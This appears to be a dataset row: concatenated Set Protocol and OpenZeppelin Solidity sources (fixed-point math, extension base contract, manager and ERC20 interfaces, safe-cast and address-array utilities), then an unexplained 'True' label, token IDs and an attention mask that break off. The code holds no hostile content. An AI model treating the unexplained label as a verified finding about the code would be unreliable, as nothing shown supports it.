* - 12/13/21: Added preciseDivCeil (int overloads) function
* - 12/13/21: Added abs function
*/
library PreciseUnitMath {
using SafeMath for uint256;
using SignedSafeMath for int256;
using SafeCast for int256;
// The number One in precise units.
uint256 constant internal PRECISE_UNIT = 10 ** 18;
int256 constant internal PRECISE_UNIT_INT = 10 ** 18;
// Max unsigned integer value
uint256 constant internal MAX_UINT_256 = type(uint256).max;
// Max and min signed integer value
int256 constant internal MAX_INT_256 = type(int256).max;
int256 constant internal MIN_INT_256 = type(int256).min;
/**
* @dev Getter function since constants can't be read directly from libraries.
*/
function preciseUnit() internal pure returns (uint256) {
return PRECISE_UNIT;
}
/**
* @dev Getter function since constants can't be read directly from libraries.
*/
function preciseUnitInt() internal pure returns (int256) {
return PRECISE_UNIT_INT;
}
/**
* @dev Getter function since constants can't be read directly from libraries.
*/
function maxUint256() internal pure returns (uint256) {
return MAX_UINT_256;
}
/**
* @dev Getter function since constants can't be read directly from libraries.
*/
function maxInt256() internal pure returns (int256) {
return MAX_INT_256;
}
/**
* @dev Getter function since constants can't be read directly from libraries.
*/
function minInt256() internal pure returns (int256) {
return MIN_INT_256;
}
/**
* @dev Multiplies value a by value b (result is rounded down). It's assumed that the value b is the significand
* of a number with 18 decimals precision.
*/
function preciseMul(uint256 a, uint256 b) internal pure returns (uint256) {
return a.mul(b).div(PRECISE_UNIT);
}
/**
* @dev Multiplies value a by value b (result is rounded towards zero). It's assumed that the value b is the
* significand of a number with 18 decimals precision.
*/
function preciseMul(int256 a, int256 b) internal pure returns (int256) {
return a.mul(b).div(PRECISE_UNIT_INT);
}
/**
* @dev Multiplies value a by value b (result is rounded up). It's assumed that the value b is the significand
* of a number with 18 decimals precision.
*/
function preciseMulCeil(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0 || b == 0) {
return 0;
}
return a.mul(b).sub(1).div(PRECISE_UNIT).add(1);
}
/**
* @dev Divides value a by value b (result is rounded down).
*/
function preciseDiv(uint256 a, uint256 b) internal pure returns (uint256) {
return a.mul(PRECISE_UNIT).div(b);
}
/**
* @dev Divides value a by value b (result is rounded towards 0).
*/
function preciseDiv(int256 a, int256 b) internal pure returns (int256) {
return a.mul(PRECISE_UNIT_INT).div(b);
}
/**
* @dev Divides value a by value b (result is rounded up or away from 0).
*/
function preciseDivCeil(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0, "Cant divide by 0");
return a > 0 ? a.mul(PRECISE_UNIT).sub(1).div(b).add(1) : 0;
}
/**
* @dev Divides value a by value b (result is rounded up or away from 0). When `a` is 0, 0 is
* returned. When `b` is 0, method reverts with divide-by-zero error.
*/
function preciseDivCeil(int256 a, int256 b) internal pure returns (int256) {
require(b != 0, "Cant divide by 0");
a = a.mul(PRECISE_UNIT_INT);
int256 c = a.div(b);
if (a % b != 0) {
// a ^ b == 0 case is covered by the previous if statement, hence it won't resolve to --c
(a ^ b > 0) ? ++c : --c;
}
return c;
}
/**
* @dev Divides value a by value b (result is rounded down - positive numbers toward 0 and negative away from 0).
*/
function divDown(int256 a, int256 b) internal pure returns (int256) {
require(b != 0, "Cant divide by 0");
require(a != MIN_INT_256 || b != -1, "Invalid input");
int256 result = a.div(b);
if (a ^ b < 0 && a % b != 0) {
result -= 1;
}
return result;
}
/**
* @dev Multiplies value a by value b where rounding is towards the lesser number.
* (positive values are rounded towards zero and negative values are rounded away from 0).
*/
function conservativePreciseMul(int256 a, int256 b) internal pure returns (int256) {
return divDown(a.mul(b), PRECISE_UNIT_INT);
}
/**
* @dev Divides value a by value b where rounding is towards the lesser number.
* (positive values are rounded towards zero and negative values are rounded away from 0).
*/
function conservativePreciseDiv(int256 a, int256 b) internal pure returns (int256) {
return divDown(a.mul(PRECISE_UNIT_INT), b);
}
/**
* @dev Performs the power on a specified value, reverts on overflow.
*/
function safePower(
uint256 a,
uint256 pow
)
internal
pure
returns (uint256)
{
require(a > 0, "Value must be positive");
uint256 result = 1;
for (uint256 i = 0; i < pow; i++){
uint256 previousResult = result;
// Using safemath multiplication prevents overflows
result = previousResult.mul(a);
}
return result;
}
/**
* @dev Returns true if a =~ b within range, false otherwise.
*/
function approximatelyEquals(uint256 a, uint256 b, uint256 range) internal pure returns (bool) {
return a <= b.add(range) && a >= b.sub(range);
}
/**
* Returns the absolute value of int256 `a` as a uint256
*/
function abs(int256 a) internal pure returns (uint) {
return a >= 0 ? a.toUint256() : a.mul(-1).toUint256();
}
/**
* Returns the negation of a
*/
function neg(int256 a) internal pure returns (int256) {
require(a > MIN_INT_256, "Inversion overflow");
return -a;
}
}
/*
Copyright 2022 Set Labs Inc.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
SPDX-License-Identifier: Apache License, Version 2.0
*/
pragma solidity 0.6.10;
import { ISetToken } from "@setprotocol/set-protocol-v2/contracts/interfaces/ISetToken.sol";
import { AddressArrayUtils } from "../lib/AddressArrayUtils.sol";
import { IDelegatedManager } from "../interfaces/IDelegatedManager.sol";
import { IManagerCore } from "../interfaces/IManagerCore.sol";
/**
* @title BaseGlobalExtension
* @author Set Protocol
*
* Abstract class that houses common global extension-related functions. Global extensions must
* also have their own initializeExtension function (not included here because interfaces will vary).
*/
abstract contract BaseGlobalExtension {
using AddressArrayUtils for address[];
/* ============ Events ============ */
event ExtensionRemoved(
address indexed _setToken,
address indexed _delegatedManager
);
/* ============ State Variables ============ */
// Address of the ManagerCore
IManagerCore public immutable managerCore;
// Mapping from Set Token to DelegatedManager
mapping(ISetToken => IDelegatedManager) public setManagers;
/* ============ Modifiers ============ */
/**
* Throws if the sender is not the SetToken manager contract owner
*/
modifier onlyOwner(ISetToken _setToken) {
require(msg.sender == _manager(_setToken).owner(), "Must be owner");
_;
}
/**
* Throws if the sender is not the SetToken methodologist
*/
modifier onlyMethodologist(ISetToken _setToken) {
require(msg.sender == _manager(_setToken).methodologist(), "Must be methodologist");
_;
}
/**
* Throws if the sender is not a SetToken operator
*/
modifier onlyOperator(ISetToken _setToken) {
require(_manager(_setToken).operatorAllowlist(msg.sender), "Must be approved operator");
_;
}
/**
* Throws if the sender is not the SetToken manager contract owner or if the manager is not enabled on the ManagerCore
*/
modifier onlyOwnerAndValidManager(IDelegatedManager _delegatedManager) {
require(msg.sender == _delegatedManager.owner(), "Must be owner");
require(managerCore.isManager(address(_delegatedManager)), "Must be ManagerCore-enabled manager");
_;
}
/**
* Throws if asset is not allowed to be held by the Set
*/
modifier onlyAllowedAsset(ISetToken _setToken, address _asset) {
require(_manager(_setToken).isAllowedAsset(_asset), "Must be allowed asset");
_;
}
/* ============ Constructor ============ */
/**
* Set state variables
*
* @param _managerCore Address of managerCore contract
*/
constructor(IManagerCore _managerCore) public {
managerCore = _managerCore;
}
/* ============ External Functions ============ */
/**
* ONLY MANAGER: Deletes SetToken/Manager state from extension. Must only be callable by manager!
*/
function removeExtension() external virtual;
/* ============ Internal Functions ============ */
/**
* Invoke call from manager
*
* @param _delegatedManager Manager to interact with
* @param _module Module to interact with
* @param _encoded Encoded byte data
*/
function _invokeManager(IDelegatedManager _delegatedManager, address _module, bytes memory _encoded) internal {
_delegatedManager.interactManager(_module, _encoded);
}
/**
* Internal function to grab manager of passed SetToken from extensions data structure.
*
* @param _setToken SetToken who's manager is needed
*/
function _manager(ISetToken _setToken) internal view returns (IDelegatedManager) {
return setManagers[_setToken];
}
/**
* Internal function to initialize extension to the DelegatedManager.
*
* @param _setToken Instance of the SetToken corresponding to the DelegatedManager
* @param _delegatedManager Instance of the DelegatedManager to initialize
*/
function _initializeExtension(ISetToken _setToken, IDelegatedManager _delegatedManager) internal {
setManagers[_setToken] = _delegatedManager;
_delegatedManager.initializeExtension();
}
/**
* ONLY MANAGER: Internal function to delete SetToken/Manager state from extension
*/
function _removeExtension(ISetToken _setToken, IDelegatedManager _delegatedManager) internal {
require(msg.sender == address(_manager(_setToken)), "Must be Manager");
delete setManagers[_setToken];
emit ExtensionRemoved(address(_setToken), address(_delegatedManager));
}
}
/*
Copyright 2021 Set Labs Inc.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
SPDX-License-Identifier: Apache License, Version 2.0
*/
pragma solidity 0.6.10;
pragma experimental "ABIEncoderV2";
import { ISetToken } from "@setprotocol/set-protocol-v2/contracts/interfaces/ISetToken.sol";
interface IDelegatedManager {
function interactManager(address _module, bytes calldata _encoded) external;
function initializeExtension() external;
function transferTokens(address _token, address _destination, uint256 _amount) external;
function updateOwnerFeeSplit(uint256 _newFeeSplit) external;
function updateOwnerFeeRecipient(address _newFeeRecipient) external;
function setMethodologist(address _newMethodologist) external;
function transferOwnership(address _owner) external;
function setToken() external view returns(ISetToken);
function owner() external view returns(address);
function methodologist() external view returns(address);
function operatorAllowlist(address _operator) external view returns(bool);
function assetAllowlist(address _asset) external view returns(bool);
function isAllowedAsset(address _asset) external view returns(bool);
function isPendingExtension(address _extension) external view returns(bool);
function isInitializedExtension(address _extension) external view returns(bool);
function getExtensions() external view returns(address[] memory);
function getOperators() external view returns(address[] memory);
function getAllowedAssets() external view returns(address[] memory);
function ownerFeeRecipient() external view returns(address);
function ownerFeeSplit() external view returns(uint256);
}
/*
Copyright 2022 Set Labs Inc.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
SPDX-License-Identifier: Apache License, Version 2.0
*/
pragma solidity 0.6.10;
interface IManagerCore {
function addManager(address _manager) external;
function isExtension(address _extension) external view returns(bool);
function isFactory(address _factory) external view returns(bool);
function isManager(address _manager) external view returns(bool);
}
// SPDX-License-Identifier: Apache License, Version 2.0
pragma solidity 0.6.10;
pragma experimental "ABIEncoderV2";
import { ISetToken } from "@setprotocol/set-protocol-v2/contracts/interfaces/ISetToken.sol";
interface IStreamingFeeModule {
struct FeeState {
address feeRecipient;
uint256 maxStreamingFeePercentage;
uint256 streamingFeePercentage;
uint256 lastStreamingFeeTimestamp;
}
function getFee(ISetToken _setToken) external view returns (uint256);
function accrueFee(ISetToken _setToken) external;
function updateStreamingFee(ISetToken _setToken, uint256 _newFee) external;
function updateFeeRecipient(ISetToken _setToken, address _newFeeRecipient) external;
function initialize(ISetToken _setToken, FeeState memory _settings) external;
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev Wrappers over Solidity's uintXX/intXX casting operators with added overflow
* checks.
*
* Downcasting from uint256/int256 in Solidity does not revert on overflow. This can
* easily result in undesired exploitation or bugs, since developers usually
* assume that overflows raise errors. `SafeCast` restores this intuition by
* reverting the transaction when such an operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*
* Can be combined with {SafeMath} and {SignedSafeMath} to extend it to smaller types, by performing
* all math on `uint256` and `int256` and then downcasting.
*/
library SafeCast {
/**
* @dev Returns the downcasted uint128 from uint256, reverting on
* overflow (when the input is greater than largest uint128).
*
* Counterpart to Solidity's `uint128` operator.
*
* Requirements:
*
* - input must fit into 128 bits
*/
function toUint128(uint256 value) internal pure returns (uint128) {
require(value < 2**128, "SafeCast: value doesn\'t fit in 128 bits");
return uint128(value);
}
/**
* @dev Returns the downcasted uint64 from uint256, reverting on
* overflow (when the input is greater than largest uint64).
*
* Counterpart to Solidity's `uint64` operator.
*
* Requirements:
*
* - input must fit into 64 bits
*/
function toUint64(uint256 value) internal pure returns (uint64) {
require(value < 2**64, "SafeCast: value doesn\'t fit in 64 bits");
return uint64(value);
}
/**
* @dev Returns the downcasted uint32 from uint256, reverting on
* overflow (when the input is greater than largest uint32).
*
* Counterpart to Solidity's `uint32` operator.
*
* Requirements:
*
* - input must fit into 32 bits
*/
function toUint32(uint256 value) internal pure returns (uint32) {
require(value < 2**32, "SafeCast: value doesn\'t fit in 32 bits");
return uint32(value);
}
/**
* @dev Returns the downcasted uint16 from uint256, reverting on
* overflow (when the input is greater than largest uint16).
*
* Counterpart to Solidity's `uint16` operator.
*
* Requirements:
*
* - input must fit into 16 bits
*/
function toUint16(uint256 value) internal pure returns (uint16) {
require(value < 2**16, "SafeCast: value doesn\'t fit in 16 bits");
return uint16(value);
}
/**
* @dev Returns the downcasted uint8 from uint256, reverting on
* overflow (when the input is greater than largest uint8).
*
* Counterpart to Solidity's `uint8` operator.
*
* Requirements:
*
* - input must fit into 8 bits.
*/
function toUint8(uint256 value) internal pure returns (uint8) {
require(value < 2**8, "SafeCast: value doesn\'t fit in 8 bits");
return uint8(value);
}
/**
* @dev Converts a signed int256 into an unsigned uint256.
*
* Requirements:
*
* - input must be greater than or equal to 0.
*/
function toUint256(int256 value) internal pure returns (uint256) {
require(value >= 0, "SafeCast: value must be positive");
return uint256(value);
}
/**
* @dev Returns the downcasted int128 from int256, reverting on
* overflow (when the input is less than smallest int128 or
* greater than largest int128).
*
* Counterpart to Solidity's `int128` operator.
*
* Requirements:
*
* - input must fit into 128 bits
*
* _Available since v3.1._
*/
function toInt128(int256 value) internal pure returns (int128) {
require(value >= -2**127 && value < 2**127, "SafeCast: value doesn\'t fit in 128 bits");
return int128(value);
}
/**
* @dev Returns the downcasted int64 from int256, reverting on
* overflow (when the input is less than smallest int64 or
* greater than largest int64).
*
* Counterpart to Solidity's `int64` operator.
*
* Requirements:
*
* - input must fit into 64 bits
*
* _Available since v3.1._
*/
function toInt64(int256 value) internal pure returns (int64) {
require(value >= -2**63 && value < 2**63, "SafeCast: value doesn\'t fit in 64 bits");
return int64(value);
}
/**
* @dev Returns the downcasted int32 from int256, reverting on
* overflow (when the input is less than smallest int32 or
* greater than largest int32).
*
* Counterpart to Solidity's `int32` operator.
*
* Requirements:
*
* - input must fit into 32 bits
*
* _Available since v3.1._
*/
function toInt32(int256 value) internal pure returns (int32) {
require(value >= -2**31 && value < 2**31, "SafeCast: value doesn\'t fit in 32 bits");
return int32(value);
}
/**
* @dev Returns the downcasted int16 from int256, reverting on
* overflow (when the input is less than smallest int16 or
* greater than largest int16).
*
* Counterpart to Solidity's `int16` operator.
*
* Requirements:
*
* - input must fit into 16 bits
*
* _Available since v3.1._
*/
function toInt16(int256 value) internal pure returns (int16) {
require(value >= -2**15 && value < 2**15, "SafeCast: value doesn\'t fit in 16 bits");
return int16(value);
}
/**
* @dev Returns the downcasted int8 from int256, reverting on
* overflow (when the input is less than smallest int8 or
* greater than largest int8).
*
* Counterpart to Solidity's `int8` operator.
*
* Requirements:
*
* - input must fit into 8 bits.
*
* _Available since v3.1._
*/
function toInt8(int256 value) internal pure returns (int8) {
require(value >= -2**7 && value < 2**7, "SafeCast: value doesn\'t fit in 8 bits");
return int8(value);
}
/**
* @dev Converts an unsigned uint256 into a signed int256.
*
* Requirements:
*
* - input must be less than or equal to maxInt256.
*/
function toInt256(uint256 value) internal pure returns (int256) {
require(value < 2**255, "SafeCast: value doesn't fit in an int256");
return int256(value);
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
/**
* @title SignedSafeMath
* @dev Signed math operations with safety checks that revert on error.
*/
library SignedSafeMath {
int256 constant private _INT256_MIN = -2**255;
/**
* @dev Returns the multiplication of two signed integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(int256 a, int256 b) internal pure returns (int256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
require(!(a == -1 && b == _INT256_MIN), "SignedSafeMath: multiplication overflow");
int256 c = a * b;
require(c / a == b, "SignedSafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two signed integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(int256 a, int256 b) internal pure returns (int256) {
require(b != 0, "SignedSafeMath: division by zero");
require(!(b == -1 && a == _INT256_MIN), "SignedSafeMath: division overflow");
int256 c = a / b;
return c;
}
/**
* @dev Returns the subtraction of two signed integers, reverting on
* overflow.
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(int256 a, int256 b) internal pure returns (int256) {
int256 c = a - b;
require((b >= 0 && c <= a) || (b < 0 && c > a), "SignedSafeMath: subtraction overflow");
return c;
}
/**
* @dev Returns the addition of two signed integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(int256 a, int256 b) internal pure returns (int256) {
int256 c = a + b;
require((b >= 0 && c >= a) || (b < 0 && c < a), "SignedSafeMath: addition overflow");
return c;
}
}
/*
Copyright 2020 Set Labs Inc.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
SPDX-License-Identifier: Apache License, Version 2.0
*/
pragma solidity 0.6.10;
/**
* @title AddressArrayUtils
* @author Set Protocol
*
* Utility functions to handle Address Arrays
*
* CHANGELOG:
* - 4/27/21: Added validatePairsWithArray methods
*/
library AddressArrayUtils {
/**
* Finds the index of the first occurrence of the given element.
* @param A The input array to search
* @param a The value to find
* @return Returns (index and isIn) for the first occurrence starting from index 0
*/
function indexOf(address[] memory A, address a) internal pure returns (uint256, bool) {
uint256 length = A.length;
for (uint256 i = 0; i < length; i++) {
if (A[i] == a) {
return (i, true);
}
}
return (uint256(-1), false);
}
/**
* Returns true if the value is present in the list. Uses indexOf internally.
* @param A The input array to search
* @param a The value to find
* @return Returns isIn for the first occurrence starting from index 0
*/
function contains(address[] memory A, address a) internal pure returns (bool) {
(, bool isIn) = indexOf(A, a);
return isIn;
}
/**
* Returns true if there are 2 elements that are the same in an array
* @param A The input array to search
* @return Returns boolean for the first occurrence of a duplicate
*/
function hasDuplicate(address[] memory A) internal pure returns(bool) {
require(A.length > 0, "A is empty");
for (uint256 i = 0; i < A.length - 1; i++) {
address current = A[i];
for (uint256 j = i + 1; j < A.length; j++) {
if (current == A[j]) {
return true;
}
}
}
return false;
}
/**
* @param A The input array to search
* @param a The address to remove
* @return Returns the array with the object removed.
*/
function remove(address[] memory A, address a)
internal
pure
returns (address[] memory)
{
(uint256 index, bool isIn) = indexOf(A, a);
if (!isIn) {
revert("Address not in array.");
} else {
(address[] memory _A,) = pop(A, index);
return _A;
}
}
/**
* @param A The input array to search
* @param a The address to remove
*/
function removeStorage(address[] storage A, address a)
internal
{
(uint256 index, bool isIn) = indexOf(A, a);
if (!isIn) {
revert("Address not in array.");
} else {
uint256 lastIndex = A.length - 1; // If the array would be empty, the previous line would throw, so no underflow here
if (index != lastIndex) { A[index] = A[lastIndex]; }
A.pop();
}
}
/**
* Removes specified index from array
* @param A The input array to search
* @param index The index to remove
* @return Returns the new array and the removed entry
*/
function pop(address[] memory A, uint256 index)
internal
pure
returns (address[] memory, address)
{
uint256 length = A.length;
require(index < A.length, "Index must be < A length");
address[] memory newAddresses = new address[](length - 1);
for (uint256 i = 0; i < index; i++) {
newAddresses[i] = A[i];
}
for (uint256 j = index + 1; j < length; j++) {
newAddresses[j - 1] = A[j];
}
return (newAddresses, A[index]);
}
/**
* Returns the combination of the two arrays
* @param A The first array
* @param B The second array
* @return Returns A extended by B
*/
function extend(address[] memory A, address[] memory B) internal pure returns (address[] memory) {
uint256 aLength = A.length;
uint256 bLength = B.length;
address[] memory newAddresses = new address[](aLength + bLength);
for (uint256 i = 0; i < aLength; i++) {
newAddresses[i] = A[i];
}
for (uint256 j = 0; j < bLength; j++) {
newAddresses[aLength + j] = B[j];
}
return newAddresses;
}
/**
* Validate that address and uint array lengths match. Validate address array is not empty
* and contains no duplicate elements.
*
* @param A Array of addresses
* @param B Array of uint
*/
function validatePairsWithArray(address[] memory A, uint[] memory B) internal pure {
require(A.length == B.length, "Array length mismatch");
_validateLengthAndUniqueness(A);
}
/**
* Validate that address and bool array lengths match. Validate address array is not empty
* and contains no duplicate elements.
*
* @param A Array of addresses
* @param B Array of bool
*/
function validatePairsWithArray(address[] memory A, bool[] memory B) internal pure {
require(A.length == B.length, "Array length mismatch");
_validateLengthAndUniqueness(A);
}
/**
* Validate that address and string array lengths match. Validate address array is not empty
* and contains no duplicate elements.
*
* @param A Array of addresses
* @param B Array of strings
*/
function validatePairsWithArray(address[] memory A, string[] memory B) internal pure {
require(A.length == B.length, "Array length mismatch");
_validateLengthAndUniqueness(A);
}
/**
* Validate that address array lengths match, and calling address array are not empty
* and contain no duplicate elements.
*
* @param A Array of addresses
* @param B Array of addresses
*/
function validatePairsWithArray(address[] memory A, address[] memory B) internal pure {
require(A.length == B.length, "Array length mismatch");
_validateLengthAndUniqueness(A);
}
/**
* Validate that address and bytes array lengths match. Validate address array is not empty
* and contains no duplicate elements.
*
* @param A Array of addresses
* @param B Array of bytes
*/
function validatePairsWithArray(address[] memory A, bytes[] memory B) internal pure {
require(A.length == B.length, "Array length mismatch");
_validateLengthAndUniqueness(A);
}
/**
* Validate address array is not empty and contains no duplicate elements.
*
* @param A Array of addresses
*/
function _validateLengthAndUniqueness(address[] memory A) internal pure {
require(A.length > 0, "Array length must be > 0");
require(!hasDuplicate(A), "Cannot duplicate addresses");
}
} | True | [
101,
1013,
1008,
9385,
16798,
2475,
2275,
13625,
4297,
1012,
7000,
2104,
1996,
15895,
6105,
1010,
2544,
1016,
1012,
1014,
1006,
1996,
1000,
6105,
1000,
1007,
1025,
2017,
2089,
2025,
2224,
2023,
5371,
3272,
1999,
12646,
2007,
1996,
6105,
1012,
2017,
2089,
6855,
1037,
6100,
1997,
1996,
6105,
2012,
8299,
1024,
1013,
1013,
7479,
1012,
15895,
1012,
8917,
1013,
15943,
1013,
6105,
1011,
1016,
1012,
1014,
4983,
3223,
2011,
12711,
2375,
2030,
3530,
2000,
1999,
3015,
1010,
4007,
5500,
2104,
1996,
6105,
2003,
5500,
2006,
2019,
1000,
2004,
2003,
1000,
3978,
1010,
2302,
10943,
3111,
2030,
3785,
1997,
2151,
2785,
1010,
2593,
4671,
2030,
13339,
1012,
2156,
1996,
6105,
2005,
1996,
3563,
2653,
8677,
6656,
2015,
1998,
12546,
2104,
1996,
6105,
1012,
23772,
2595,
1011,
6105,
1011,
8909,
4765,
18095,
1024,
15895,
6105,
1010,
2544,
1016,
1012,
1014,
1008,
1013,
10975,
8490,
2863,
5024,
3012,
1014,
1012,
1020,
1012,
2184,
1025,
10975,
8490,
2863,
6388,
1000,
11113,
9013,
16044,
2099,
2615,
2475,
1000,
1025,
12324,
1063,
4769,
1065,
2013,
1000,
1030,
2330,
4371,
27877,
2378,
1013,
8311,
1013,
21183,
12146,
1013,
4769,
1012,
14017,
1000,
1025,
12324,
1063,
3647,
18900,
2232,
1065,
2013,
1000,
1030,
2330,
4371,
27877,
2378,
1013,
8311,
1013,
8785,
1013,
3647,
18900,
2232,
1012,
14017,
1000,
1025,
12324,
1063,
2003,
20082,
7520,
1065,
2013,
1000,
1030,
2275,
21572,
3406,
25778,
1013,
2275,
1011,
8778,
1011,
1058,
2475,
1013,
8311,
1013,
19706,
1013,
2003,
20082,
7520,
1012,
14017,
1000,
1025,
12324,
1063,
10480,
19496,
29418,
2705,
1065,
2013,
1000,
1030,
2275,
21572,
3406,
25778,
1013,
2275,
1011,
8778,
1011,
1058,
2475,
1013,
8311,
1013,
5622,
2497,
1013,
10480,
19496,
29418,
2705,
1012,
14017,
1000,
1025,
12324,
1063,
2918,
23296,
16429,
9453,
18413,
6132,
3258,
1065,
2013,
1000,
1012,
1012,
1013,
5622,
2497,
1013,
2918,
23296,
16429,
9453,
18413,
6132,
3258,
1012,
14017,
1000,
1025,
12324,
1063,
8909,
12260,
11644,
24805,
4590,
1065,
2013,
1000,
1012,
1012,
1013,
19706,
1013,
8909,
12260,
11644,
24805,
4590,
1012,
14017,
1000,
1025,
12324,
1063,
10047,
5162,
4590,
17345,
1065,
2013,
1000,
1012,
1012,
1013,
19706,
1013,
10047,
5162,
4590,
17345,
1012,
14017,
1000,
1025,
12324,
1063,
21541,
16416,
6562,
7959,
6633,
7716,
9307,
1065,
2013,
1000,
1012,
1012,
1013,
19706,
1013,
21541,
16416,
6562,
7959,
6633,
7716,
9307,
2615,
2475,
1012,
14017,
1000,
1025,
1013,
1008,
1008,
1008,
1030,
2516,
11058,
7959,
2229,
24759,
4221,
18413,
6132,
3258,
1008,
1030,
3166,
2275,
8778,
1008,
1008,
6047,
3206,
3795,
5331,
2029,
3640,
11849,
21804,
17325,
3954,
1998,
4118,
8662,
1996,
3754,
2000,
16222,
6820,
2063,
1998,
3975,
1008,
11058,
9883,
1012,
3954,
2089,
9530,
8873,
27390,
2063,
1996,
7408,
3975,
7017,
2015,
1012,
1008,
1008,
3964,
1008,
1011,
1996,
7408,
3975,
2003,
2275,
2006,
1996,
11849,
2094,
3208,
3206,
1008,
1011,
2043,
9883,
5500,
3081,
2023,
3206,
2097,
2022,
18678,
1997,
2035,
7408,
4127,
1008,
1013,
3206,
11058,
7959,
2229,
24759,
4221,
18413,
6132,
3258,
2003,
2918,
23296,
16429,
9453,
18413,
6132,
3258,
1063,
2478,
4769,
2005,
4769,
1025,
2478,
10480,
19496,
29418,
2705,
2005,
21318,
3372,
17788,
2575,
1025,
2478,
3647,
18900,
102
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
